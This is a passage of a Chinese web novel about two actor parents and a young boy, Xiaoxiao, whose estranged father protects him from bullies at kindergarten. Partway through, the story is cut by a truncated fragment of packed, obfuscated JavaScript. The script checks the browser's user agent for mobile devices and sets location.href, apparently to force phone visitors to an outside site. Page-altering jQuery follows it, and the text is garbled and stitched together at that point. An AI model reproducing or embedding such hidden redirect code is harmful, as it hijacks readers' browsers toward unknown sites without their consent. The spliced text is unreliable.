靳若飞失笑一阵儿,随即挑了些食材让工作人员帮忙处理,自己负责做最后的翻炒。编剧妹子期待坏了,忍不住在他身后转来转去,顺便笑眯眯地打探:“晚上安老师带你去海崖边,跟你聊了什么呀?” “……没聊什么。”这会儿摄像机都关了,靳若飞熟练地翻炒着锅里的菜,整个人放松不少。编剧妹子悄悄探头看,见他嘴边甚至微微带笑!整个人顿时露出了姨母般的笑容:“是吗~哦,没聊什么呀~好,我知道了。” 坐回餐桌旁满怀期待地等待着,不一会儿,四道色香味俱全的菜便端上了桌。工作组欢呼着一拥而上,大快朵颐。靳若飞不动声色地趴在桌边,趁机提要求:“那个……我想用手机给我儿子发一条信息,可以吗?” 编剧妹子差点儿没笑出来:“原来你是打着这个主意啊!” 靳若飞不好意思地笑了笑。 “行行行,给你用五分钟~”吃人的嘴软,拿人的手短。人家特意做了一桌子菜,工作组自然是不好再拒绝,回身去包里给他翻手机。 这时,楼梯上探头探脑地又走下来一个人——是昨天一起吃夜宵的成员之一,白姿君。 看见她,众人都颇为惊讶,随即开始热情地招呼:“白老师~饿吗,一起吃啊!” 白姿君不好意思地笑笑,轻声道:“不用叫我老师,叫名字就行。”她的心情似乎不错,气色比昨天好了一些,脚步轻盈,看见靳若飞还温柔地打个招呼:“飞哥~” “……嗯!”靳若飞惊讶地站起身,给她拉了张凳子到桌边:“白老……呃,你还没睡啊,要不要吃点儿?” “嗯,吃点儿。”白姿君也不忸怩,大大方方地坐了下来,跟大家一起吃夜宵。她的头发还束着,似乎并不是从床上爬起来的,不过衣服倒是换了件宽松的多啦A梦纯棉T恤。 靳若飞瞥见,不禁多看了两眼,微笑道:“我儿子也有一件多啦A梦的。” “是吗?”不知道是不是两人都有孩子的原因,白姿君对他颇为亲近,态度比在贺安东面前放松很多,“亲子装?” “没有,专门给他买的。他喜欢多啦A梦。” “我也喜欢!”说这话时,白姿君眼睛一亮,很自然地伸手拽了一下他的衣袖。这番姿态倒是像一个二十五岁的年轻omega了,逐渐符合靳若飞对她的印象——要知道白姿君以前演的都是青春活力的女孩子,如今被生育折磨成这样……靳若飞对她不由得多了一丝关切。 “你吃这个——牛肉,还有山药炒时蔬,都是平和温补的。”用公筷给她夹了一些菜,靳若飞低声道:“那时候我身体有些虚,但又着急出去工作,就天天吃羊肉、牛肉,温补的东西吃了个遍。” “我爸妈也老给我补,专门请了阿姨在家里做炖品、汤羹,味道好腻。你这个凉拌和清炒的就很好吃,爽口。”夹了块山药慢慢品尝,白姿君笑着笑着,眼帘一眨,一丝犹豫在眼底浮现。 她好像想请靳若飞帮什么忙,但欲言又止的,思忖半晌,最后只问出一个:“我听说……你跟安哥今天自由活动啦?” 靳若飞正伸手去接自己的手机,闻言呛咳一声,手上差点儿没拿稳:“咳……昂,是,他要搞节目效果,所以故意作怪。” “哦……”思忖着又吃了两片牛肉,白姿君正想再问什么,靳若飞却猛地挺直腰背,瞪着手机屏幕露出了惊愕的神情。 “操!”听见他愕然的低骂,白姿君心里一颤,还以为是他家小孩出什么问题了:“怎么了,你儿子生病了吗?” “不是……”靳若飞咬着唇,神情里有些后怕,“他奶奶突然高血压晕倒了。还好病情不严重,他也会打120,救治得比较及时,才没有酿成大祸。” “……这样啊!”被他的转述吓了一跳,白姿君愕然几秒,突然发现其中关键:“你家孩子不是没满四岁吗,就会打120了?” “会的。”靳若飞一边打字一边回答她,“我老是在外面拍戏,就他跟我妈在家,老的老、小的小……我肯定得教他一些急救知识,以备不时之需。” “哇,”感叹地看着他,白姿君眼里充满了钦佩:“看来你把你家儿子教得很好啊!” 谦虚地笑笑,靳若飞道:“不是我教得好,是他本来就很乖——我儿子是天使宝宝来的。他在我肚子里的时候就不怎么折腾,不抻手也不蹬腿儿,顶多翻个身。” 白姿君静静地看着他,忽然道:“我女儿就不乖,孕后期折腾得我没法儿睡。” 靳若飞下意识接一句“是吗”,但很快就僵住了——这好像是白姿君第一次透露孩子的事!居然就这么……不敢妄动,他强作镇定,若无其事道:“不乖的孩子就比较累人了。我以前带他去做儿保,每次都会看见几个被孩子折腾到抑郁的妈妈。” “……我觉得我就是那样的妈妈。”白姿君垂下眼,心酸地笑了笑。 闻言,靳若飞没说什么,默默地又给她夹了一些菜。 . 那天下午,待妈妈的病情平稳之后,邢再洺开车把靳宇潇送了回去。 四岁的孩子经历了这么惊险的事情,现在已经疲惫至极,嘟着小脸在车子后排座位睡着了。由于邢再洺车上没有安全座椅,小家伙用的是后座自带的安全带,肩带直接压到他脖子上,既不合身、也不安全。 从后视镜里看见这一幕,邢再洺拧起眉,趁着等红灯的间隙,发信息给助理小游,让他买一个小孩儿用的安全座椅。十分钟后到达公寓,他停好车,回头一望,靳宇潇依旧熟睡着,完全没有醒来的意思。邢再洺没说什么,悄声打开车门,俯下身把他搂进了怀里。 四岁的小孩儿,好像只有三十斤,瘦骨伶仃的。他睡得很熟,小手揪在邢再洺的T恤上,面颊贴着“邢伯伯”的胸口,眉心微蹙,好像有些不安。邢再洺在电梯里静静地看着他,不禁想起当年跟靳若飞纠缠过后,他睡着的神情……好像也是这个样子。 一样的内敛,一样的不安,像一只焦虑的小兽,每天都在为生存未雨绸缪。潇潇虽然长了一双与自己相同的眼睛,五官的排布也相差无几,但他的神态、他的气质,却完完全全遗传了靳若飞。 ……这两个人真是来向自己讨债的。 电梯到达楼层,邢再洺叹口气,将潇潇换个姿势抱好,走出去摁响了1607室的门铃。 秦丽君不知道发生了什么事,打开门后战战兢兢地跟他打个招呼,正要伸手接过孙子。邢再洺却道:“他住哪个房?我抱他进去。” “啊?”秦丽君诚惶诚恐地愣住了,下意识指向餐厅边上的房间:“是……那个房。” 大步跨进门,他径直走向了那间房门紧闭的卧室。 打开门,一张一米二的原木色小床出现在眼前。邢再洺跨过床前的苔藓地毯,把潇潇小心翼翼地放在柔软的蓝色床褥上。直到这时,小家伙才迷迷糊糊地睁开眼睛,小手恋恋不舍地挂在他脖子上,喃喃地呼唤了一声:“……邢伯伯。” “……干什么?”心里一颤,邢再洺不大习惯这种感觉,弯着腰僵在了半空中。潇潇傻乎乎地看他一会儿,好像以为自己在做梦,慢慢地松开手,躺到了床上。 邢再洺也松了一口气。 整整衣服,他抬头打量一圈这间整洁的卧房,潇潇的小书包、玩具都整整齐齐地放在架子上,墙上贴着世界地图和英文字母表,还有几张潇潇在幼儿园得到的小小奖状。 这一刻,邢再洺再不情愿,也只能承认,靳若飞其实把潇潇教养得挺好。 . 第二天早上去接老妈出院。这位老阿姨经过一夜的休养,又变得生龙活虎的了,喋喋不休地念叨这个“天煞孤星”的儿子:“你看看潇潇,这么好的孩子,你都不愿意认!我都不知道你到底想要什么……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227469|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 邢再洺这一次没有跟妈妈对呛,而是面无表情地把人送回家里,勒令她在家好好卧床休息,随即开车去公司试妆发,准备几天后的Armani广告拍摄。 一坐就是两个小时。 正百无聊赖地翻阅着一本杂志,身后方洛汶穿着高跟鞋走了过来,“笃笃笃笃”的声音越走越近,最后在身旁停下:“怎么,我听说,你最近跟你家小公子……关系有所好转?” 邢再洺太阳穴一跳,顿时预感不妙:“谁跟你说的?” “小游说你买了个安全座椅。”方洛汶从镜子里睨着他,精明的脸上露出一个揶揄的笑容。 “……操!”忍不住骂了一句脏话,邢再洺咒骂道:“他到底是为谁打工的?!” “你别怪他,有些事情他瞒不住,也不敢瞒——小陆总对你寄予厚望呢,始终想让你去参加那个亲子综艺。他说,只要你愿意去,他可以考虑投资你说的那个科幻片。” “……只是考虑而已?”邢再洺冷哼一声,这次却没有严词拒绝,“我看小陆总的诚意也不如何,他再好好想想吧!” 把方洛汶打发走,手机里又来电话了。邢再洺拿过来一看:靠,是老妈!以为又出了什么意外,他赶紧接起来,却听得宋清许在对面中气十足地喊:“阿洺,你待会儿啊——去把潇潇和他奶奶接过来,我得招待救命恩人好好吃一顿饭。” 邢再洺一听,顿时心累得不行:“妈,你才刚好没多久呢,折腾什么?” “我没折腾啊——”宋清许的语调却老神在在的,冷不丁还回头叫一声:“你碰我的百合花干嘛!放下!” “百合花有毒。”一个严肃的声音说。 邢再洺更心累了:“我爸怎么在那边?” “我还想问你呢!是不是你把我进医院的事情告诉他的?” “我没有……” “反正你爸带了厨师来,说做一桌子菜,咱们一起吃个饭,顺便见见潇潇。今天星期一,他们幼儿园下午四点半放学,你去接他和他奶奶过来。” “好好好好我知道了!”拗不过老妈,同时也想给老爸助攻一下,邢再洺最终选择了屈服。他看看手腕上的表——下午三点。待会儿试完妆、再清洗一番,沿着快环开车过去,正好合适。 想到潇潇昨天坐在医院里泫然欲泣的孤单模样,邢再洺心里不由自主地揪了一下,眼神中露出一丝动摇。 . 让妈妈通知秦丽君在家里等着他上门,邢再洺清洗过妆造之后,顶着头半湿的短发从公司出发了。 看看时间,已经四点十分,比预计的晚了一些,他心里不由有些烦躁。 ……等得太久的话,小东西不会害怕吧? 想起第一次去妈妈那里吃饭,靳若飞和潇潇异口同声地掩饰被霸凌的事实,邢再洺不禁眯起眼,不悦地“哼”了一声。他心想,我认不认孩子那是我的事,跟你们有什么关系?我有准许你们欺负他吗?……见风使舵的东西! 沉着脸一路开到目的地,此时是四点四十五分,幼儿园已经放学十五分钟了。门口聚集的家长和车辆逐渐散去,不再拥挤。邢再洺沿着道路缓缓停下车,依旧是上次那个位置、依旧是那个角度,可以清楚地看见幼儿园大门处的情形。 ……然后,他就看见两个大男孩不怀好意地笑着,将潇潇围在门侧,一边做鬼脸一边冲他说着什么话。 潇潇死死咬着嘴唇,面色煞白,两只眼睛已经憋得通红。 “……操!”当即怒骂一声,邢再洺沉着脸解开安全带,长腿一跨下了车,大步流星地朝幼儿园门口走去。 他长得高大英俊,又穿着一身端整的西装,一下车便吸引了所有人的目光。那些家长瞠目结舌地看着他直直冲向大门口,神情肃杀,不由惊讶地低喃:“那,那不是……” 他剑指的方向,那两个小男孩还不知道危险即将来临,嘻嘻哈哈地说着“你有妈生没爸养”、“你爸爸不要你”,围着潇潇跳来跳去。 潇潇死咬着唇,面色煞白,低头强忍泪意。下一秒,天光好像被谁遮住了。随即那两人“哎”一声惊叫,一双有力的手臂把自己搂进了怀里,冷酷的声音在耳畔响起:“——你们说谁没爸呢?!”